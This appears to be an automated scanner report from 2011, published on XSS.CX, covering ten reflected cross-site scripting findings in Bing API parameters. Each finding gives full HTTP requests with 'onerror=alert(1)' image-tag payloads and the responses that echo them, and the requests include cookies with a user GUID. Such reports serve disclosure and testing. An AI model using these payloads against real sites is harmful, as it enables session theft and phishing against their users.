XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, api.bing.net

Report generated by XSS.CX at Sat Aug 27 12:20:53 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. http://api.bing.net/json.aspx [AppId parameter]

1.2. http://api.bing.net/json.aspx [Market parameter]

1.3. http://api.bing.net/json.aspx [Options parameter]

1.4. http://api.bing.net/json.aspx [Query parameter]

1.5. http://api.bing.net/json.aspx [Sources parameter]

1.6. http://api.bing.net/json.aspx [Version parameter]

1.7. http://api.bing.net/json.aspx [Web.Count parameter]

1.8. http://api.bing.net/json.aspx [Web.Offset parameter]

1.9. http://api.bing.net/json.aspx [Web.Options parameter]

1.10. http://api.bing.net/json.aspx [query parameter]



1. Cross-site scripting (reflected)
There are 10 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://api.bing.net/json.aspx [AppId parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the AppId request parameter is copied into the HTML document as plain text between tags. The payload 27dad<img%20src%3da%20onerror%3dalert(1)>7ca5c0e5fcf was submitted in the AppId parameter. This input was echoed as 27dad<img src=a onerror=alert(1)>7ca5c0e5fcf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=27dad<img%20src%3da%20onerror%3dalert(1)>7ca5c0e5fcf HTTP/1.1
Host: api.bing.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 588
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: a019cd31d2344aa0b774ee7967b491b5
Date: Sat, 27 Aug 2011 18:14:40 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Errors":[{"Code":1001,"Message":"Required parameter is missing.","Parameter":"SearchRequest.Query","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.
...[SNIP]...
ameter":"SearchRequest.Sources","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"27dad<img src=a onerror=alert(1)>7ca5c0e5fcf","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"}]}}

1.2. http://api.bing.net/json.aspx [Market parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Market request parameter is copied into the HTML document as plain text between tags. The payload 2bbde<img%20src%3da%20onerror%3dalert(1)>26ac4ed8902 was submitted in the Market parameter. This input was echoed as 2bbde<img src=a onerror=alert(1)>26ac4ed8902 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us2bbde<img%20src%3da%20onerror%3dalert(1)>26ac4ed8902&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 504
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: d0c7e061fa43406f8b234ee9f5d27ef5
Date: Sat, 27 Aug 2011 18:16:35 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Market","Value":"en-us2bbde<img src=a onerror=alert(1)>26ac4ed8902","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"}]}}

1.3. http://api.bing.net/json.aspx [Options parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Options request parameter is copied into the HTML document as plain text between tags. The payload 19b92<img%20src%3da%20onerror%3dalert(1)>81b688af194 was submitted in the Options parameter. This input was echoed as 19b92<img src=a onerror=alert(1)>81b688af194 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting19b92<img%20src%3da%20onerror%3dalert(1)>81b688af194&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 531
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 787c992526a5441c9910e7a35f77c4a4
Date: Sat, 27 Aug 2011 18:16:34 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Options.SearchOption","Value":"EnableHighlighting19b92<img src=a onerror=alert(1)>81b688af194","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.4. http://api.bing.net/json.aspx [Query parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Query request parameter is copied into the HTML document as plain text between tags. The payload 775d2<img%20src%3da%20onerror%3dalert(1)>85122fde8a6 was submitted in the Query parameter. This input was echoed as 775d2<img src=a onerror=alert(1)>85122fde8a6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu775d2<img%20src%3da%20onerror%3dalert(1)>85122fde8a6&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 327
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: b4e8ef11f8554badb95786c7456f9c35
Date: Sat, 27 Aug 2011 18:16:32 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu775d2<img src=a onerror=alert(1)>85122fde8a6"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"}]}}

1.5. http://api.bing.net/json.aspx [Sources parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Sources request parameter is copied into the HTML document as plain text between tags. The payload 5b697<img%20src%3da%20onerror%3dalert(1)>f3d553036c2 was submitted in the Sources parameter. This input was echoed as 5b697<img src=a onerror=alert(1)>f3d553036c2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web5b697<img%20src%3da%20onerror%3dalert(1)>f3d553036c2&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 678
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: f95012f3f2904409bf23414e60ecfa0a
Date: Sat, 27 Aug 2011 18:16:33 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Sources.SourceType","Value":"web5b697<img src=a onerror=alert(1)>f3d553036c2","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1001,"Message":"Required parameter is missing.","Parameter":"SearchRequest.Sources","HelpUrl":"http:\/\/msdn.microsoft.
...[SNIP]...

1.6. http://api.bing.net/json.aspx [Version parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Version request parameter is copied into the HTML document as plain text between tags. The payload 4c680<img%20src%3da%20onerror%3dalert(1)>369857e0980 was submitted in the Version parameter. This input was echoed as 4c680<img src=a onerror=alert(1)>369857e0980 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.24c680<img%20src%3da%20onerror%3dalert(1)>369857e0980&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 489
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 3b4b09e5901d4c599238af5053bc45f1
Date: Sat, 27 Aug 2011 18:16:34 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"Version","Value":"2.24c680<img src=a onerror=alert(1)>369857e0980","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.7. http://api.bing.net/json.aspx [Web.Count parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Web.Count request parameter is copied into the HTML document as plain text between tags. The payload 7ce9c<img%20src%3da%20onerror%3dalert(1)>c3dd7134d7e was submitted in the Web.Count parameter. This input was echoed as 7ce9c<img src=a onerror=alert(1)>c3dd7134d7e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=47ce9c<img%20src%3da%20onerror%3dalert(1)>c3dd7134d7e&Web.Offset=0&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 503
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 1715cc4c6e4c460cae9e1778eaaa1e85
Date: Sat, 27 Aug 2011 18:16:35 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Web.Count","Value":"47ce9c<img src=a onerror=alert(1)>c3dd7134d7e","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.8. http://api.bing.net/json.aspx [Web.Offset parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Web.Offset request parameter is copied into the HTML document as plain text between tags. The payload 3663b<img%20src%3da%20onerror%3dalert(1)>39e372eee88 was submitted in the Web.Offset parameter. This input was echoed as 3663b<img src=a onerror=alert(1)>39e372eee88 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=03663b<img%20src%3da%20onerror%3dalert(1)>39e372eee88&Web.Options=DisableHostCollapsing HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 504
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 51f17802d28f4d2ba9b1af61a845f17c
Date: Sat, 27 Aug 2011 18:16:36 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Web.Offset","Value":"03663b<img src=a onerror=alert(1)>39e372eee88","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.9. http://api.bing.net/json.aspx [Web.Options parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the Web.Options request parameter is copied into the HTML document as plain text between tags. The payload f4a81<img%20src%3da%20onerror%3dalert(1)>38465460224 was submitted in the Web.Options parameter. This input was echoed as f4a81<img src=a onerror=alert(1)>38465460224 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?AppId=XXXXXX&Query=provost+office+site%3Agustavus.edu&Sources=web&Version=2.2&Options=EnableHighlighting&Market=en-us&Web.Count=4&Web.Offset=0&Web.Options=DisableHostCollapsingf4a81<img%20src%3da%20onerror%3dalert(1)>38465460224 HTTP/1.1
Host: api.bing.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _MD=alg=m2&C=2011-08-19T22%3a46%3a21; SRCHUID=V=2&GUID=82CE8D5CE6F5457EA56A90C5230FCC89; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110819

Response

HTTP/1.1 200 OK
Content-Length: 541
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: ada9d226c2a740968d123edf947017fb
Date: Sat, 27 Aug 2011 18:16:36 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"provost office site:gustavus.edu"},"Errors":[{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.Web.Options.WebSearchOption","Value":"DisableHostCollapsingf4a81<img src=a onerror=alert(1)>38465460224","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"XXXXXX","HelpUrl":"http:\/\/ms
...[SNIP]...

1.10. http://api.bing.net/json.aspx [query parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.net
Path:   /json.aspx

Issue detail

The value of the query request parameter is copied into the HTML document as plain text between tags. The payload 31a65<img%20src%3da%20onerror%3dalert(1)>98e5f99c99e was submitted in the query parameter. This input was echoed as 31a65<img src=a onerror=alert(1)>98e5f99c99e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json.aspx?query=31a65<img%20src%3da%20onerror%3dalert(1)>98e5f99c99e HTTP/1.1
Host: api.bing.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 444
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: d34e4722729a4e8e9c22d193de90651f
Date: Sat, 27 Aug 2011 18:14:40 GMT
Connection: close

{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"31a65<img src=a onerror=alert(1)>98e5f99c99e"},"Errors":[{"Code":1001,"Message":"Required parameter is missing.","Parameter":"SearchRequest.AppId","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1001,"Message":"Re
...[SNIP]...

Report generated by XSS.CX at Sat Aug 27 12:20:53 GMT-06:00 2011.